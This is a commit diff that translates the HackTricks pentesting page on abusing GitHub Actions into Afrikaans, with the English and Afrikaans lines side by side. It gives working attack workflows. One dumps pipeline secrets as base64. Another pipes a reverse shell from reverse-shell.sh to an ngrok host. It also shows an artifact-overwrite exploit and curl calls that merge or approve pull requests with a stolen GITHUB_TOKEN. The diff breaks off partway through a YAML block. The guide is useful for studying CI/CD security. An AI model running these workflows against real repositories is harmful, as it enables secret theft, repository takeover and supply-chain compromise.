Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:29:08 +00:00
parent 2753c75e8b
commit 396dbafaf2
245 changed files with 9878 additions and 12609 deletions

View File

@@ -1,384 +1,366 @@
# Abusing Github Actions
# Misbruik van Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
In this page you will find:
In hierdie bladsy sal jy vind:
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
- 'n **opsomming van al die impakte** van 'n aanvaller wat daarin slaag om toegang tot 'n Github Action te verkry
- Verskillende maniere om **toegang tot 'n aksie** te verkry:
- Om **toestemmings** te hê om die aksie te skep
- Misbruik van **pull request** verwante triggers
- Misbruik van **ander eksterne toegang** tegnieke
- **Pivoting** vanaf 'n reeds gecompromitteerde repo
- Laastens, 'n afdeling oor **post-exploitatie tegnieke om 'n aksie van binne te misbruik** (om die genoem impakte te veroorsaak)
## Impacts Summary
## Impakte Opsomming
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Vir 'n inleiding oor [**Github Actions kyk na die basiese inligting**](../basic-github-information.md#github-actions).
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
As jy **arbitraire kode in GitHub Actions** binne 'n **repository** kan **uitvoer**, mag jy in staat wees om:
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
- **Geheime** wat aan die pyplyn gekoppel is te **steel** en die **privileges van die pyplyn** te misbruik om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry.
- **Ontplooiings** en ander **artefakte** te **kompromitteer**.
- As die pyplyn bates ontplooi of stoor, kan jy die finale produk verander, wat 'n voorsieningskettingaanval moontlik maak.
- **Kode in pasgemaakte werkers** uit te voer om rekenaarkrag te misbruik en na ander stelsels te pivot.
- **Repository kode te oorskryf**, afhangende van die toestemmings wat met die `GITHUB_TOKEN` geassosieer is.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Hierdie "**geheim**" (kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Hierdie token is dieselfde een wat 'n **Github Toepassing sal gebruik**, sodat dit toegang tot dieselfde eindpunte kan hê: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github moet 'n [**vloei**](https://github.com/github/roadmap/issues/74) vrystel wat **kruis-repository** toegang binne GitHub toelaat, sodat 'n repo ander interne repos met die `GITHUB_TOKEN` kan benader.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Jy kan die moontlike **toestemmings** van hierdie token sien in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Let daarop dat die token **verval nadat die werk voltooi is**.\
Hierdie tokens lyk soos volg: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
Sommige interessante dinge wat jy met hierdie token kan doen:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
{{#tab name="Goedkeur PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
{{#tab name="Skep PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
<details>
<summary>List secrets in Github Action output</summary>
<summary>lys geheime in Github Action uitvoer</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Kry omgekeerde skulp met geheime</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander gebruikers se repositories **te kontroleer deur die logs** van die aksies:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## Toegelate Uitvoering
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
> Dit sou die maklikste manier wees om Github aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** het.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) nagaan.
### Execution from Repo Creation
### Uitvoering vanaf Repo Skepping
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
In die geval dat lede van 'n organisasie **nuwe repos kan skep** en jy kan github aksies uitvoer, kan jy **'n nuwe repo skep en die geheime wat op organisasievlak gestel is, steel**.
### Execution from a New Branch
### Uitvoering vanaf 'n Nuwe Tak
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
As jy **'n nuwe tak in 'n repository kan skep wat reeds 'n Github Action** geconfigureer het, kan jy dit **wysig**, **die inhoud oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word).
Jy kan die gewysigde aksie uitvoerbaar maak **handmatig,** wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
## Forked Uitvoering
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
> Daar is verskillende triggers wat 'n aanvaller kan toelaat om **'n Github Action van 'n ander repository uit te voer**. As daardie triggerbare aksies swak geconfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer.
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
Die werksvloei-trigger **`pull_request`** sal die werksvloei elke keer uitvoer wanneer 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy **bydra tot die regstelling van 'n geldige fout/typo** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**.
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **Ek het dit getoets en dit werk nie**: ~~n Ander opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Boonop **verhoed dit standaard skryfrechten** en **toegang tot geheime** tot die teikengebruikersrepo soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardloper oorgedra** wanneer 'n werksvloei van 'n **forked** repository geaktiveer word nie. Die **`GITHUB_TOKEN` het slegs leesregte** in pull requests **van forked repositories**.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Hy sal egter nie in staat wees om geheime te steel of die repo te oorskryf nie weens die genoem beperkings.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **Ja, as die aanvaller die github action in die PR verander wat geaktiveer sal word, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
Aangesien die aanvaller ook die kode wat uitgevoer word, beheer, selfs al is daar geen geheime of skryfrechten op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **kwaadaardige artefakte oplaai**.
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die teikengebruikersrepo en **toegang tot geheime** (en vra nie vir toestemming nie).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Let daarop dat die werksvloei-trigger **`pull_request_target`** **in die basis konteks** loop en nie in die een gegee deur die PR nie (om **nie onbetroubare kode uit te voer**). Vir meer inligting oor `pull_request_target` [**kyk die dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk hierdie [**github blog pos**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
Dit mag lyk asof die **uitgevoerde werksvloei** die een is wat in die **basis** gedefinieer is en **nie in die PR nie**, dit is **veilig** om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
An this one will have **access to secrets**.
En hierdie een sal **toegang tot geheime**.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een uit te voer wanneer dit `voltooi`, `gevraag` of `in_progress` is.
In hierdie voorbeeld is 'n werksvloei geconfigureer om uit te voer nadat die aparte "Toets Hardloop" werksvloei voltooi is:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**hierdie blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gevind word.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvallerskode aflaai: `${{ github.event.pull_request.head.sha }}`\
Die tweede een bestaan uit **die oordrag** van 'n **artefak** van die **onbetroubare** kode na die **`workflow_run`** werksvloei en die gebruik van die inhoud van hierdie artefak op 'n manier wat dit **kwesbaar maak vir RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: Kontroleer of wanneer dit vanaf 'n pull_request uitgevoer word, die gebruikte/afgelaaide kode die een van die oorsprong of van die geforkte PR is.
## Abusing Forked Execution
## Misbruik van Geforkte Uitvoering
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
Ons het al die maniere genoem hoe 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, kom ons kyk nou na hoe hierdie uitvoerings, as dit sleg geconfigureer is, misbruik kan word:
### Untrusted checkout execution
### Onbetroubare checkout uitvoering
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
In die geval van **`pull_request`,** sal die werksvloei in die **konsep van die PR** uitgevoer word (so dit sal die **kwesbare PR se kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](./#pull_request) loop.
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
In die geval van 'n werksvloei wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n werksvloei wat vanaf **`pull_request_target` of `pull_request`** geaktiveer kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** sal **kry** (en nie van die basis nie), sal dit die aanvallers beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR kode afgelaai word):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
<pre class="language-yaml"><code class="lang-yaml"># ONVEILIG. Slegs as 'n voorbeeld verskaf.
on:
pull_request_target
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
build:
name: Bou en toets
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Dankie!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
Die potensieel **onbetroubare kode word tydens `npm install` of `npm build`** uitgevoer aangesien die bou skripte en verwysde **pakkette deur die outeur van die PR** beheer word.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksgeleenthede te konfigureer om veilig uitgevoer te word selfs al is die aksie onveilig geconfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Konteks Skrip Injekties <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
Let daarop dat daar sekere [**github kontekste**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes **beheer** word deur die **gebruiker** wat die PR skep. As die github aksie daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitraire kode uitvoering:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Skrip Injekie** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
Volgens die dokumentasie: Jy kan 'n **omgewing veranderlike beskikbaar maak vir enige daaropvolgende stappe** in 'n werksvloei taak deur die omgewing veranderlike te definieer of op te dateer en dit na die **`GITHUB_ENV`** omgewing lêer te skryf.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes injekteer wat kode in daaropvolgende stappe kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geupload artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
### Kwesbare Derdeparty Github Aksies
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
Soos genoem in [**hierdie blogpos**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), laat hierdie Github Aksie toe om toegang tot artefakte van verskillende werksvloei en selfs repositories te verkry.
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
Die probleem is dat as die **`path`** parameter nie gestel is nie, die artefak in die huidige gids uitgepak word en dit kan lêers oorskryf wat later in die werksvloei gebruik of selfs uitgevoer kan word. Daarom, as die Artefak kwesbaar is, kan 'n aanvaller dit misbruik om ander werksvloei wat die Artefak vertrou, te kompromitteer.
Voorbeeld van kwesbare werksvloei:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
Dit kan aangeval word met hierdie werksvloei:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
## Ander Eksterne Toegang
### Deleted Namespace Repo Hijacking
### Verwyderde Namespace Repo Hijacking
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie naam registreer na 'n tyd. As 'n repository **minder as 100 sterre gehad het voor die naamsverandering**, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n **repository met dieselfde naam** as die een wat verwyder is, te skep.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> So as 'n aksie 'n repo van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromitteer.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
As ander repositories **afhangklikhede van hierdie gebruiker repos** gebruik, sal 'n aanvaller in staat wees om hulle te hijack. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> In hierdie afdeling sal ons praat oor tegnieke wat sou toelaat om te **pivot van een repo na 'n ander** mits ons 'n soort toegang op die eerste een het (kyk na die vorige afdeling).
### Cache Poisoning
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
'n Cache word tussen **workflow-uitvoerings in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -386,7 +368,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
Workflows kan **artifacts van ander workflows en selfs repos** gebruik, as 'n aanvaller daarin slaag om die Github Action wat 'n **artifact** oplaai wat later deur 'n ander workflow gebruik word, te **kompromitteer**, kan hy die **ander workflows** ook **kompromitteer**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## Post Exploitation van 'n Aksie
### Accessing AWS and GCP via OIDC
### Toegang tot AWS en GCP via OIDC
Check the following pages:
Kyk na die volgende bladsye:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Toegang tot geheime <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
As jy inhoud in 'n skrif inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry:
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
- As die geheim of token op 'n **omgewing veranderlike** gestel is, kan dit direk deur die omgewing met **`printenv`** aangespreek word.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Lys geheime in Github Action-uitvoer</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
